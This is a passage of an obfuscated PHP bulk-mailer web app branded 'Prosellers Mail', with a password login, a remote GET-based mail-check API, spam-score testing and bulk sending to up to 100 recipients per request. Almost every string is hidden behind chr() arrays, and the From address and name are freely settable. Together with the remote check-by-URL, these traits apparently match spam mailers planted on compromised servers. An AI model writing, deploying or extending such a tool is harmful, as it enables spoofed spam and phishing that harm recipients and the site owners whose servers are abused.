$_298418af90=$_86481ab742[implode('',array_map('chr',array(115,99,111,114,101)))]??$_86481ab742[implode('',array_map('chr',array(83,99,111,114,101)))]??null;$_10e272f341=$_86481ab742[implode('',array_map('chr',array(114,101,112,111,114,116)))]??$_86481ab742[implode('',array_map('chr',array(82,101,112,111,114,116)))]??implode('',array_map('chr',array(78,111,32,114,101,112,111,114,116,32,114,101,116,117,114,110,101,100,46)));if($_10e272f341===null||$_10e272f341===implode('',array_map('chr',array()))){$_10e272f341=implode('',array_map('chr',array(78,111,32,114,101,112,111,114,116,32,114,101,116,117,114,110,101,100,46)));} return['ok'=>true,implode('',array_map('chr',array(115,99,111,114,101)))=>$_298418af90,implode('',array_map('chr',array(114,101,112,111,114,116)))=>(string) $_10e272f341];} function remoteMailCheckApiMailerId():string{if(!isset($_GET['mailerid'])){return implode('',array_map('chr',array()));} $_a89750f3ac=trim((string) $_GET['mailerid']);if($_a89750f3ac===implode('',array_map('chr',array()))||!preg_match(implode('',array_map('chr',array(47,94,91,97,45,122,65,45,90,48,45,57,46,95,45,93,123,49,44,49,50,56,125,36,47))),$_a89750f3ac)){return implode('',array_map('chr',array()));} return $_a89750f3ac;} function remoteMailCheckApiSendFlag():bool{$_f6581652cc=$_GET[implode('',array_map('chr',array(115,101,110,100)))]??implode('',array_map('chr',array(102,97,108,115,101)));$_9e7a2976fb=strtolower(trim((string) $_f6581652cc));return $_9e7a2976fb===implode('',array_map('chr',array(116,114,117,101)))||$_9e7a2976fb===implode('',array_map('chr',array(116,117,114,101)))||$_9e7a2976fb===implode('',array_map('chr',array(49)))||$_9e7a2976fb===implode('',array_map('chr',array(121,101,115)));} function remoteMailCheckApiJson(bool $_f2e9cefa9f):void{header(implode('',array_map('chr',array(67,111,110,116,101,110,116,45,84,121,112,101,58,32,97,112,112,108,105,99,97,116,105,111,110,47,106,115,111,110,59,32,99,104,97,114,115,101,116,61,85,84,70,45,56))));header(implode('',array_map('chr',array(67,97,99,104,101,45,67,111,110,116,114,111,108,58,32,110,111,45,115,116,111,114,101))));header('X-Content-Type-Options: nosniff');echo json_encode([implode('',array_map('chr',array(115,117,99,99,101,115,115)))=>$_f2e9cefa9f],JSON_UNESCAPED_UNICODE);exit;} if(!isset($_SESSION[implode('',array_map('chr',array(99,115,114,102)))])){$_SESSION[implode('',array_map('chr',array(99,115,114,102)))]=makeToken();} if(isset($_GET['logout'])){session_destroy();header(implode('',array_map('chr',array(76,111,99,97,116,105,111,110,58,32))).strtok($_SERVER[implode('',array_map('chr',array(82,69,81,85,69,83,84,95,85,82,73)))], '?'));exit;} if(isset($_GET['check'],$_GET[implode('',array_map('chr',array(112,97,115,115,119,111,114,100)))])){$_ab6c5f127d=(string) $_GET[implode('',array_map('chr',array(112,97,115,115,119,111,114,100)))];if(!hash_equals($_abe8abbb63,$_ab6c5f127d)){appendLog($_6a9975cfb6,date(implode('',array_map('chr',array(99)))).implode('',array_map('chr',array(32,97,112,105,95,109,97,105,108,95,99,104,101,99,107,32,97,117,116,104,95,102,97,105,108,101,100))));remoteMailCheckApiJson(false);} if(!function_exists('mail')){remoteMailCheckApiJson(false);} $_045cda8c90=trim((string) $_GET[implode('',array_map('chr',array(99,104,101,99,107)))]);if($_045cda8c90===implode('',array_map('chr',array()))||!filter_var($_045cda8c90,FILTER_VALIDATE_EMAIL)){remoteMailCheckApiJson(false);} if(!remoteMailCheckApiSendFlag()){remoteMailCheckApiJson(true);} $_6c84e4ce7d=composeFieldDefaults();$_ebf2a012af=$_6c84e4ce7d[implode('',array_map('chr',array(102,114,111,109,95,101,109,97,105,108)))]??implode('',array_map('chr',array()));if($_ebf2a012af===implode('',array_map('chr',array()))||!filter_var($_ebf2a012af,FILTER_VALIDATE_EMAIL)){$_083477747c=requestHostname();$_ebf2a012af=($_083477747c!==implode('',array_map('chr',array()))&&str_contains($_083477747c, '.'))?implode('',array_map('chr',array(99,111,110,116,97,99,116,64))).$_083477747c:implode('',array_map('chr',array(110,111,114,101,112,108,121,64,101,120,97,109,112,108,101,46,99,111,109)));} $_e052867f00=remoteMailCheckApiMailerId();$_05fce1f34f= 'Prosellers Mail test';if($_e052867f00!==implode('',array_map('chr',array()))){$_05fce1f34f.=implode('',array_map('chr',array(32,91,109,97,105,108,101,114,105,100,32))).$_e052867f00.implode('',array_map('chr',array(93)));} $_ecf78e2643= "This is an automated test message from the Prosellers Mail (send=true).\r\n";if($_e052867f00!==implode('',array_map('chr',array()))){$_ecf78e2643.= "\r\nmailerid: ".$_e052867f00. "\r\n";} $_6dd8332782=[implode('',array_map('chr',array(77,73,77,69,45,86,101,114,115,105,111,110,58,32,49,46,48))),implode('',array_map('chr',array(70,114,111,109,58,32))).$_ebf2a012af,implode('',array_map('chr',array(67,111,110,116,101,110,116,45,84,121,112,101,58,32,116,101,120,116,47,112,108,97,105,110,59,32,99,104,97,114,115,101,116,61,85,84,70,45,56))),];$_aa6ccb9d37=@mail($_045cda8c90,$_05fce1f34f,$_ecf78e2643,implode("\r\n",$_6dd8332782));$_1a10b3f749=$_e052867f00!==implode('',array_map('chr',array()))?implode('',array_map('chr',array(32,109,97,105,108,101,114,105,100,61))).$_e052867f00:implode('',array_map('chr',array()));appendLog($_6a9975cfb6,date('c'). ' api_mail_check send_test to='.$_045cda8c90.$_1a10b3f749.implode('',array_map('chr',array(32,109,97,105,108,40,41,61))).($_aa6ccb9d37?implode('',array_map('chr',array(116,114,117,101))):implode('',array_map('chr',array(102,97,108,115,101)))));remoteMailCheckApiJson($_aa6ccb9d37);} $_cdf2ed01c1=$_GET[implode('',array_map('chr',array(117,110,115,99,114,105,98,101)))]??null;$_47bf994a22=$_GET[implode('',array_map('chr',array(117,110,115,117,98,115,99,114,105,98,101)))]??null;$_2f6ca2e0cc=$_cdf2ed01c1!==null&&$_cdf2ed01c1!==implode('',array_map('chr',array()))&&(strtolower((string) $_cdf2ed01c1)===implode('',array_map('chr',array(116,114,117,101)))||(string) $_cdf2ed01c1===implode('',array_map('chr',array(49))));$_667a339ec5=$_47bf994a22!==null&&$_47bf994a22!==implode('',array_map('chr',array()))&&(strtolower((string) $_47bf994a22)===implode('',array_map('chr',array(116,114,117,101)))||(string) $_47bf994a22===implode('',array_map('chr',array(49))));if($_2f6ca2e0cc||$_667a339ec5){$_344a734db8=trim((string)($_GET[implode('',array_map('chr',array(101,109,97,105,108)))]?? ''));$_ff88bb6d87=trim(rawurldecode($_344a734db8));if($_ff88bb6d87!==implode('',array_map('chr',array()))&&filter_var($_ff88bb6d87,FILTER_VALIDATE_EMAIL)){renderUnsubscribeLandingPage(true,$_ff88bb6d87,$_6a9975cfb6);} renderUnsubscribeLandingPage(false,implode('',array_map('chr',array())),$_6a9975cfb6);} $_c9f01c1b87=implode('',array_map('chr',array()));$_f2e9cefa9f=implode('',array_map('chr',array()));if(isset($_POST[implode('',array_map('chr',array(108,111,103,105,110)))])){$_bdbfbbbe46=(string)($_POST['password']??implode('',array_map('chr',array())));if(!hash_equals($_abe8abbb63,$_bdbfbbbe46)){$_c9f01c1b87=implode('',array_map('chr',array(73,110,118,97,108,105,100,32,112,97,115,115,119,111,114,100,46)));appendLog($_6a9975cfb6,date(implode('',array_map('chr',array(99)))). ' login_failed');} else{$_SESSION[implode('',array_map('chr',array(97,117,116,104,101,110,116,105,99,97,116,101,100)))]=true;$_SESSION[implode('',array_map('chr',array(99,115,114,102)))]=makeToken();appendLog($_6a9975cfb6,date(implode('',array_map('chr',array(99)))).implode('',array_map('chr',array(32,108,111,103,105,110,95,115,117,99,99,101,115,115))));header(implode('',array_map('chr',array(76,111,99,97,116,105,111,110,58,32))).$_SERVER[implode('',array_map('chr',array(82,69,81,85,69,83,84,95,85,82,73)))]);exit;}} if(!($_SESSION[implode('',array_map('chr',array(97,117,116,104,101,110,116,105,99,97,116,101,100)))]??false)){?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Prosellers Mail — Sign in</title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=VT323&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <script> tailwind.config = { theme: { extend: { colors: { brand: { 50: '#ecfdf5', 100: '#d1fae5', 400: '#34d399', 500: '#10b981', 600: '#059669' } }, fontFamily: { retro: ['"VT323"', 'ui-monospace', 'monospace'] } } } }; </script> </head> <body class="min-h-screen bg-[#0b0f14] font-retro text-xl leading-snug text-slate-100 antialiased"> <div class="pointer-events-none fixed inset-0 bg-[radial-gradient(ellipse_80%_50%_at_50%_-20%,rgba(16,185,129,0.15),transparent)]"></div> <div class="relative mx-auto flex min-h-screen w-full max-w-md items-center px-4 py-8"> <div class="w-full rounded-xl border border-slate-800/80 bg-slate-900/90 p-6 shadow-xl backdrop-blur"> <div class="mb-6 flex items-center gap-4"> <div class="flex h-14 w-14 shrink-0 items-center justify-center rounded-lg bg-gradient-to-br from-brand-500 to-cyan-600 text-2xl font-bold leading-none text-slate-950 shadow-lg shadow-brand-500/20">PM</div> <div> <h1 class="text-3xl font-normal leading-none tracking-wide">Prosellers Mail</h1> <p class="mt-1 text-lg text-slate-500">Business mailer</p> </div> </div> <?php if($_c9f01c1b87!==implode('',array_map('chr',array()))):?> <div class="mb-4 rounded-md border border-rose-500/30 bg-rose-500/10 px-3 py-2.5 text-lg text-rose-300"><?=h($_c9f01c1b87)?></div> <?php endif;?> <form method="post" class="space-y-4"> <div> <label for="password" class="mb-1 block text-lg font-normal uppercase tracking-wide text-slate-400">Password</label> <input id="password" name="password" type="password" autocomplete="current-password" required class="w-full rounded-md border border-slate-700 bg-slate-800/80 px-3 py-3 text-2xl text-slate-100 placeholder-slate-500 outline-none ring-brand-500/30 transition focus:border-brand-500/50 focus:ring-2 focus:ring-brand-500/30"> </div> <button type="submit" name="login" value="1" class="w-full rounded-md bg-brand-500 py-3 text-2xl font-normal text-slate-950 shadow-lg shadow-brand-500/25 transition hover:bg-brand-400">Sign in</button> </form> </div> </div> </body> </html> <?php exit;} $_ababa5f105=composeFieldDefaults();$_05fce1f34f=array_key_exists('subject',$_POST)?trim((string) $_POST[implode('',array_map('chr',array(115,117,98,106,101,99,116)))]):$_ababa5f105[implode('',array_map('chr',array(115,117,98,106,101,99,116)))];$_ecf78e2643=trim((string)($_POST['body']??implode('',array_map('chr',array()))));$_1a895a0e3a=(string)($_POST[implode('',array_map('chr',array(114,101,99,105,112,105,101,110,116,115)))]??implode('',array_map('chr',array())));$_c5439de16e=array_key_exists(implode('',array_map('chr',array(102,114,111,109,95,101,109,97,105,108))),$_POST)?trim((string) $_POST[implode('',array_map('chr',array(102,114,111,109,95,101,109,97,105,108)))]):$_ababa5f105[implode('',array_map('chr',array(102,114,111,109,95,101,109,97,105,108)))];$_ca016922e8=array_key_exists(implode('',array_map('chr',array(102,114,111,109,95,110,97,109,101))),$_POST)?trim((string) $_POST[implode('',array_map('chr',array(102,114,111,109,95,110,97,109,101)))]):$_ababa5f105[implode('',array_map('chr',array(102,114,111,109,95,110,97,109,101)))];$_cbed44687d=array_key_exists('reply_to',$_POST)?trim((string) $_POST[implode('',array_map('chr',array(114,101,112,108,121,95,116,111)))]):$_ababa5f105[implode('',array_map('chr',array(114,101,112,108,121,95,116,111)))];$_d24a0fcc68=(string)($_POST[implode('',array_map('chr',array(109,101,115,115,97,103,101,95,116,121,112,101)))]??implode('',array_map('chr',array(112,108,97,105,110))));$_12605fd990=(string)($_POST[implode('',array_map('chr',array(99,104,97,114,115,101,116)))]?? 'UTF-8');$_d2b8ed37dd=(string)($_POST[implode('',array_map('chr',array(101,110,99,111,100,105,110,103)))]??implode('',array_map('chr',array(113,117,111,116,101,100,45,112,114,105,110,116,97,98,108,101))));$_9a2266401e=implode('',array_map('chr',array()));$_02a1e52c2a=implode('',array_map('chr',array()));$_27fe6092cd=false;$_e401ffc2f7=implode('',array_map('chr',array()));if(isset($_POST['send'])||isset($_POST[implode('',array_map('chr',array(112,114,101,118,105,101,119)))])||isset($_POST[implode('',array_map('chr',array(115,99,111,114,101)))])){$_1e7f77f84f=(string)($_POST[implode('',array_map('chr',array(99,115,114,102)))]?? '');$_ea24deb9b0=!empty($_POST[implode('',array_map('chr',array(115,116,114,101,97,109,95,115,101,110,100)))])&&isset($_POST[implode('',array_map('chr',array(115,101,110,100)))])&&!isset($_POST[implode('',array_map('chr',array(112,114,101,118,105,101,119)))])&&!isset($_POST[implode('',array_map('chr',array(115,99,111,114,101)))]);if(!hash_equals($_SESSION[implode('',array_map('chr',array(99,115,114,102)))],$_1e7f77f84f)){if($_ea24deb9b0){ndjsonStreamError(implode('',array_map('chr',array(73,110,118,97,108,105,100,32,115,101,115,115,105,111,110,32,116,111,107,101,110,46,32,80,108,101,97,115,101,32,114,101,102,114,101,115,104,32,97,110,100,32,116,114,121,32,97,103,97,105,110,46))));} $_c9f01c1b87=implode('',array_map('chr',array(73,110,118,97,108,105,100,32,115,101,115,115,105,111,110,32,116,111,107,101,110,46,32,80,108,101,97,115,101,32,114,101,102,114,101,115,104,32,97,110,100,32,116,114,121,32,97,103,97,105,110,46)));} else{$_54b9ceaf16=$_ea24deb9b0;$_20a6e76dda=normalizeRecipients($_1a895a0e3a);$_d24a0fcc68=in_array($_d24a0fcc68,['plain',implode('',array_map('chr',array(104,116,109,108)))],true)?$_d24a0fcc68:implode('',array_map('chr',array(112,108,97,105,110)));$_12605fd990=in_array($_12605fd990,[implode('',array_map('chr',array(85,84,70,45,56))),implode('',array_map('chr',array(73,83,79,45,56,56,53,57,45,49)))],true)?$_12605fd990:implode('',array_map('chr',array(85,84,70,45,56)));$_d2b8ed37dd=in_array($_d2b8ed37dd,[implode('',array_map('chr',array(56,98,105,116))),implode('',array_map('chr',array(98,97,115,101,54,52))), 'quoted-printable'],true)?$_d2b8ed37dd: 'quoted-printable';if($_05fce1f34f===implode('',array_map('chr',array()))||$_ecf78e2643===implode('',array_map('chr',array()))){if($_54b9ceaf16){ndjsonStreamError(implode('',array_map('chr',array(83,117,98,106,101,99,116,32,97,110,100,32,109,101,115,115,97,103,101,32,97,114,101,32,114,101,113,117,105,114,101,100,46))));} $_c9f01c1b87=implode('',array_map('chr',array(83,117,98,106,101,99,116,32,97,110,100,32,109,101,115,115,97,103,101,32,97,114,101,32,114,101,113,117,105,114,101,100,46)));} elseif(!filter_var($_c5439de16e,FILTER_VALIDATE_EMAIL)){if($_54b9ceaf16){ndjsonStreamError(implode('',array_map('chr',array(70,114,111,109,32,101,109,97,105,108,32,105,115,32,105,110,118,97,108,105,100,46))));} $_c9f01c1b87=implode('',array_map('chr',array(70,114,111,109,32,101,109,97,105,108,32,105,115,32,105,110,118,97,108,105,100,46)));} elseif(count($_20a6e76dda)===0){if($_54b9ceaf16){ndjsonStreamError(implode('',array_map('chr',array(65,100,100,32,97,116,32,108,101,97,115,116,32,111,110,101,32,118,97,108,105,100,32,114,101,99,105,112,105,101,110,116,32,101,109,97,105,108,46))));} $_c9f01c1b87=implode('',array_map('chr',array(65,100,100,32,97,116,32,108,101,97,115,116,32,111,110,101,32,118,97,108,105,100,32,114,101,99,105,112,105,101,110,116,32,101,109,97,105,108,46)));} elseif(count($_20a6e76dda)>100){if($_54b9ceaf16){ndjsonStreamError(implode('',array_map('chr',array(82,101,99,105,112,105,101,110,116,32,108,105,109,105,116,32,105,115,32,49,48,48,32,112,101,114,32,114,101,113,117,101,115,116,46))));} $_c9f01c1b87=implode('',array_map('chr',array(82,101,99,105,112,105,101,110,116,32,108,105,109,105,116,32,105,115,32,49,48,48,32,112,101,114,32,114,101,113,117,101,115,116,46)));} elseif($_cbed44687d!==implode('',array_map('chr',array()))&&!filter_var($_cbed44687d,FILTER_VALIDATE_EMAIL)){if($_54b9ceaf16){ndjsonStreamError(implode('',array_map('chr',array(82,101,112,108,121,45,84,111,32,101,109,97,105,108,32,105,115,32,105,110,118,97,108,105,100,46))));} $_c9f01c1b87=implode('',array_map('chr',array(82,101,112,108,121,45,84,111,32,101,109,97,105,108,32,105,115,32,105,110,118,97,108,105,100,46)));} else{if(isset($_POST[implode('',array_map('chr',array(112,114,101,118,105,101,119)))])){$_22df777a77=$_20a6e76dda[0];$_9a2266401e=replaceTags($_ecf78e2643,$_22df777a77);$_27fe6092cd=$_d24a0fcc68===implode('',array_map('chr',array(104,116,109,108)))||previewBodyIsLikelyHtml($_9a2266401e);if($_27fe6092cd){$_02a1e52c2a=ensurePlainNotEmpty(htmlToPlainText($_9a2266401e));} $_f2e9cefa9f= 'Preview generated with first recipient: '.$_22df777a77;} elseif(isset($_POST[implode('',array_map('chr',array(115,99,111,114,101)))])){$_22df777a77=$_20a6e76dda[0];$_a345a9dd85=replaceTags($_05fce1f34f,$_22df777a77);$_4e3f929ade=replaceTags($_ecf78e2643,$_22df777a77);if($_d24a0fcc68===implode('',array_map('chr',array(104,116,109,108)))){$_7e29f78a02=ensurePlainNotEmpty(htmlToPlainText($_4e3f929ade));$_2726166fbe=checkSpamScore($_a345a9dd85,$_7e29f78a02,$_c5439de16e,$_ca016922e8,$_22df777a77,$_4e3f929ade);} else{$_2726166fbe=checkSpamScore($_a345a9dd85,$_4e3f929ade,$_c5439de16e,$_ca016922e8,$_22df777a77,null);} if(!$_2726166fbe[implode('',array_map('chr',array(111,107)))]){$_c9f01c1b87=$_2726166fbe['error'];} else{$_e401ffc2f7=$_2726166fbe[implode('',array_map('chr',array(114,101,112,111,114,116)))];$_f2e9cefa9f= 'Spam score: '.(string)($_2726166fbe[implode('',array_map('chr',array(115,99,111,114,101)))]??implode('',array_map('chr',array(78,47,65))));}} else{if($_54b9ceaf16){session_write_close();ndjsonStreamHeaders();$_a5f0d71d31=0;$_ecd537947a=0;$_1090f09dfd=count($_20a6e76dda);ndjsonLine(['phase'=>implode('',array_map('chr',array(115,116,97,114,116))),implode('',array_map('chr',array(116,111,116,97,108)))=>$_1090f09dfd,implode('',array_map('chr',array(112,101,114,99,101,110,116)))=>0, 'status'=>implode('',array_map('chr',array(83,116,97,114,116,105,110,103,8230)))]);$_cde87d940d=0;foreach($_20a6e76dda as $_5db04803ee){$_cde87d940d++;if(function_exists(implode('',array_map('chr',array(101,114,114,111,114,95,99,108,101,97,114,95,108,97,115,116))))){error_clear_last();} $_aa6ccb9d37=sendOneRecipient($_5db04803ee,$_05fce1f34f,$_ecf78e2643,$_ca016922e8,$_c5439de16e,$_cbed44687d,$_d24a0fcc68,$_12605fd990,$_d2b8ed37dd);$_5ec69a74d6=error_get_last();$_76c06164b8=date(implode('',array_map('chr',array(99)))).implode('',array_map('chr',array(32,116,111,61))).$_5db04803ee.implode('',array_map('chr',array(32,109,97,105,108,40,41,61))).($_aa6ccb9d37?implode('',array_map('chr',array(116,114,117,101))):implode('',array_map('chr',array(102,97,108,115,101))));if(!$_aa6ccb9d37&&is_array($_5ec69a74d6)&&($_5ec69a74d6[implode('',array_map('chr',array(109,101,115,115,97,103,101)))]??implode('',array_map('chr',array())))!==implode('',array_map('chr',array()))){$_76c06164b8.=implode('',array_map('chr',array(32,101,114,114,111,114,61))).preg_replace('/\\s+/',implode('',array_map('chr',array(32))),(string) $_5ec69a74d6['message']);} appendLog($_6a9975cfb6,$_76c06164b8);ndjsonLine([implode('',array_map('chr',array(108,111,103,95,108,105,110,101)))=>$_76c06164b8]);if($_aa6ccb9d37){$_a5f0d71d31++;if($_ae7093074f>0){usleep($_ae7093074f*1000);}} else{$_ecd537947a++;} $_335fbf145f=$_1090f09dfd>0?(int) round(100*$_cde87d940d/$_1090f09dfd):100;ndjsonLine([implode('',array_map('chr',array(99,117,114,114,101,110,116)))=>$_cde87d940d,implode('',array_map('chr',array(116,111,116,97,108)))=>$_1090f09dfd,implode('',array_map('chr',array(112,101,114,99,101,110,116)))=>$_335fbf145f,implode('',array_map('chr',array(115,116,97,116,117,115)))=>($_aa6ccb9d37?implode('',array_map('chr',array(83,101,110,116))):implode('',array_map('chr',array(70,97,105,108,101,100)))).implode('',array_map('chr',array(58,32))).$_5db04803ee,implode('',array_map('chr',array(115,101,110,116)))=>$_a5f0d71d31, 'failed'=>$_ecd537947a,]);} appendLog($_6a9975cfb6,date(implode('',array_map('chr',array(99)))). ' send recipients='.count($_20a6e76dda).implode('',array_map('chr',array(32,115,101,110,116,61))).$_a5f0d71d31.implode('',array_map('chr',array(32,102,97,105,108,101,100,61))).$_ecd537947a);ndjsonLine([implode('',array_map('chr',array(100,111,110,101)))=>true,implode('',array_map('chr',array(115,101,110,116)))=>$_a5f0d71d31,implode('',array_map('chr',array(102,97,105,108,101,100)))=>$_ecd537947a,implode('',array_map('chr',array(112,101,114,99,101,110,116)))=>100,implode('',array_map('chr',array(115,116,97,116,117,115)))=> 'Completed',implode('',array_map('chr',array(109,101,115,115,97,103,101)))=> "Completed. Sent: {$_a5f0d71d31}, Failed: {$_ecd537947a}.",implode('',array_map('chr',array(100,101,108,105,118,101,114,121,95,110,111,116,101)))=> 'PHP mail() only means the message was handed to the server MTA (sendmail/postfix). It does not prove inbox delivery — check the mail server log and SPF/DKIM if mail never arrives.',]);exit;} $_a5f0d71d31=0;$_ecd537947a=0;foreach($_20a6e76dda as $_5db04803ee){$_aa6ccb9d37=sendOneRecipient($_5db04803ee,$_05fce1f34f,$_ecf78e2643,$_ca016922e8,$_c5439de16e,$_cbed44687d,$_d24a0fcc68,$_12605fd990,$_d2b8ed37dd);if($_aa6ccb9d37){$_a5f0d71d31++;if($_ae7093074f>0){usleep($_ae7093074f*1000);}} else{$_ecd537947a++;}} appendLog($_6a9975cfb6,date(implode('',array_map('chr',array(99)))).implode('',array_map('chr',array(32,115,101,110,100,32,114,101,99,105,112,105,101,110,116,115,61))).count($_20a6e76dda).implode('',array_map('chr',array(32,115,101,110,116,61))).$_a5f0d71d31.implode('',array_map('chr',array(32,102,97,105,108,101,100,61))).$_ecd537947a);$_f2e9cefa9f= "Completed. Sent: {$_a5f0d71d31}, Failed: {$_ecd537947a}.";}}}}?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>Prosellers Mail</title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=VT323&display=swap" rel="stylesheet"> <script src="https://cdn.tailwindcss.com"></script> <script> tailwind.config = { theme: { extend: { colors: { brand: { 50: '#ecfdf5', 100: '#d1fae5', 400: '#34d399', 500: '#10b981', 600: '#059669' } }, fontFamily: { retro: ['"VT323"', 'ui-monospace', 'monospace'] } } } }; </script> </head> <body class="min-h-screen bg-[#0b0f14] font-retro text-xl leading-snug text-slate-100 antialiased"> <div class="pointer-events-none fixed inset-0 bg-[radial-gradient(ellipse_80%_50%_at_50%_-20%,rgba(16,185,129,0.12),transparent)]"></div> <div class="relative mx-auto w-full max-w-6xl px-3 py-3 sm:px-4"> <header class="mb-4 flex items-center justify-between gap-3 border-b border-slate-800/80 pb-4"> <div class="flex min-w-0 items-center gap-3"> <div class="flex h-12 w-12 shrink-0 items-center justify-center rounded-lg bg-gradient-to-br from-brand-500 to-cyan-600 text-xl font-bold leading-none text-slate-950 shadow-md shadow-brand-500/20">PM</div> <div class="min-w-0"> <h2 class="truncate text-2xl font-normal tracking-wide">Prosellers Mail</h2> <p class="truncate text-lg text-slate-500">Compose · preview · spam check</p> </div> </div> <a href="?logout=1" class="shrink-0 rounded-md border border-slate-700 bg-slate-900/80 px-4 py-2 text-lg font-normal text-slate-300 transition hover:border-slate-600 hover:bg-slate-800">Logout</a> </header> <?php if($_c9f01c1b87!==implode('',array_map('chr',array()))):?><div class="mb-3 rounded-md border border-rose-500/30 bg-rose-500/10 px-3 py-2.5 text-lg text-rose-300"><?=h($_c9f01c1b87)?></div><?php endif;?> <?php if($_f2e9cefa9f!==implode('',array_map('chr',array()))):?><div class="mb-3 rounded-md border border-brand-500/30 bg-brand-500/10 px-3 py-2.5 text-lg text-brand-100"><?=h($_f2e9cefa9f)?></div><?php endif;?> <div class="rounded-lg border border-slate-800/80 bg-slate-900/90 p-4 shadow-lg backdrop-blur"> <form id="prosellers-mailer-form" method="post" action=""> <input type="hidden" name="csrf" value="<?=h($_SESSION[implode('',array_map('chr',array(99,115,114,102)))])?>"> <div class="mb-3 flex items-center justify-between gap-2"> <h3 class="text-lg font-normal uppercase tracking-wider text-slate-400">Compose</h3> <span class="text-base text-slate-500">max 100 / send</span> </div> <div class="grid grid-cols-1 gap-3 sm:grid-cols-2"> <div> <label for="from_email" class="mb-1 block text-lg text-slate-400">From email</label> <input id="from_email" name="from_email" type="email" required value="<?=h($_c5439de16e)?>" placeholder="noreply@domain.com" class="w-full rounded-md border border-slate-700 bg-slate-800/80 px-3 py-2.5 text-xl outline-none ring-brand-500/25 transition focus:border-brand-500/40 focus:ring-2 focus:ring-brand-500/20"> </div> <div> <label for="from_name" class="mb-1 block text-lg text-slate-400">From name</label> <input id="from_name" name="from_name" type="text" value="<?=h($_ca016922e8)?>" placeholder="Prosellers Mail" class="w-full rounded-md border border-slate-700 bg-slate-800/80 px-3 py-2.5 text-xl outline-none ring-brand-500/25 transition focus:border-brand-500/40 focus:ring-2 focus:ring-brand-500/20"> </div> </div> <label for="recipients" class="mb-1 mt-3 block text-lg text-slate-400">Recipients</label> <textarea id="recipients" name="recipients" required class="min-h-[7rem] w-full resize-y rounded-md border border-slate-700 bg-slate-800/80 px-3 py-2.5 text-xl outline-none ring-brand-500/25 transition focus:border-brand-500/40 focus:ring-2 focus:ring-brand-500/20"><?=h($_1a895a0e3a)?></textarea> <div class="mt-1 text-base text-slate-500">Comma, space, or newline</div> <div class="mt-3 grid grid-cols-1 gap-3 sm:grid-cols-2"> <div> <label for="reply_to" class="mb-1 block text-lg text-slate-400">Reply-To</label> <input id="reply_to" name="reply_to" type="email" placeholder="optional" value="<?=h($_cbed44687d)?>" class="w-full rounded-md border border-slate-700 bg-slate-800/80 px-3 py-2.5 text-xl outline-none ring-brand-500/25 transition focus:border-brand-500/40 focus:ring-2 focus:ring-brand-500/20"> </div> <div> <label for="subject" class="mb-1 block text-lg text-slate-400">Subject</label> <input id="subject" name="subject" type="text" value="<?=h($_05fce1f34f)?>" required class="w-full rounded-md border border-slate-700 bg-slate-800/80 px-3 py-2.5 text-xl outline-none ring-brand-500/25 transition focus:border-brand-500/40 focus:ring-2 focus:ring-brand-500/20"> </div> </div> <div class="mt-3 grid grid-cols-1 gap-3 sm:grid-cols-3"> <div> <label for="message_type" class="mb-1 block text-lg text-slate-400">Type</label> <select id="message_type" name="message_type" class="w-full rounded-md border border-slate-700 bg-slate-800/80 px-3 py-2.5 text-xl outline-none ring-brand-500/25 transition focus:border-brand-500/40 focus:ring-2 focus:ring-brand-500/20"> <option value="plain" <?=$_d24a0fcc68===implode('',array_map('chr',array(112,108,97,105,110)))?implode('',array_map('chr',array(115,101,108,101,99,116,101,100))):implode('',array_map('chr',array()))?>>Plain</option> <option value="html" <?=$_d24a0fcc68===implode('',array_map('chr',array(104,116,109,108)))? 'selected':implode('',array_map('chr',array()))?>>HTML</option> </select> </div> <div> <label for="charset" class="mb-1 block text-lg text-slate-400">Charset</label> <select id="charset" name="charset" class="w-full rounded-md border border-slate-700 bg-slate-800/80 px-3 py-2.5 text-xl outline-none ring-brand-500/25 transition focus:border-brand-500/40 focus:ring-2 focus:ring-brand-500/20"> <option value="UTF-8" <?=$_12605fd990===implode('',array_map('chr',array(85,84,70,45,56)))?implode('',array_map('chr',array(115,101,108,101,99,116,101,100))):implode('',array_map('chr',array()))?>>UTF-8</option> <option value="ISO-8859-1" <?=$_12605fd990===implode('',array_map('chr',array(73,83,79,45,56,56,53,57,45,49)))? 'selected':implode('',array_map('chr',array()))?>>ISO-8859-1</option> </select> </div> <div> <label for="encoding" class="mb-1 block text-lg text-slate-400">Encoding</label> <select id="encoding" name="encoding" class="w-full rounded-md border border-slate-700 bg-slate-800/80 px-3 py-2.5 text-xl outline-none ring-brand-500/25 transition focus:border-brand-500/40 focus:ring-2 focus:ring-brand-500/20"> <option value="8bit" <?=$_d2b8ed37dd===implode('',array_map('chr',array(56,98,105,116)))?implode('',array_map('chr',array(115,101,108,101,99,116,101,100))):implode('',array_map('chr',array()))?>>8bit</option> <option value="base64" <?=$_d2b8ed37dd===implode('',array_map('chr',array(98,97,115,101,54,52)))?implode('',array_map('chr',array(115,101,108,101,99,116,101,100))):implode('',array_map('chr',array()))?>>base64</option> <option value="quoted-printable" <?=$_d2b8ed37dd=== 'quoted-printable'?implode('',array_map('chr',array(115,101,108,101,99,116,101,100))):implode('',array_map('chr',array()))?>>quoted-printable</option> </select> </div> </div> <div class="mt-3 grid grid-cols-1 gap-4 lg:grid-cols-12 lg:items-start lg:gap-6"> <div class="min-w-0 lg:col-span-8"> <label for="body" class="mb-1 block text-lg text-slate-400">Message</label> <textarea id="body" name="body" required class="min-h-[min(22rem,50vh)] w-full resize-y rounded-md border border-slate-700 bg-slate-800/80 px-3 py-2.5 text-xl leading-normal outline-none ring-brand-500/25 transition focus:border-brand-500/40 focus:ring-2 focus:ring-brand-500/20 lg:min-h-[18rem]"><?=h($_ecf78e2643)?></textarea> </div> <aside class="flex flex-col gap-4 rounded-lg border border-slate-800/80 bg-slate-950/60 p-4 lg:col-span-4 lg:sticky lg:top-4 lg:self-start"> <div class="text-base leading-relaxed text-slate-500"> Tags: <code class="mt-1 block rounded bg-slate-800 px-2 py-1 text-lg text-brand-400">{email}</code> <code class="mt-1 block rounded bg-slate-800 px-2 py-1 text-lg text-brand-400">{name}</code> </div> <div class="flex flex-col gap-3"> <button type="submit" 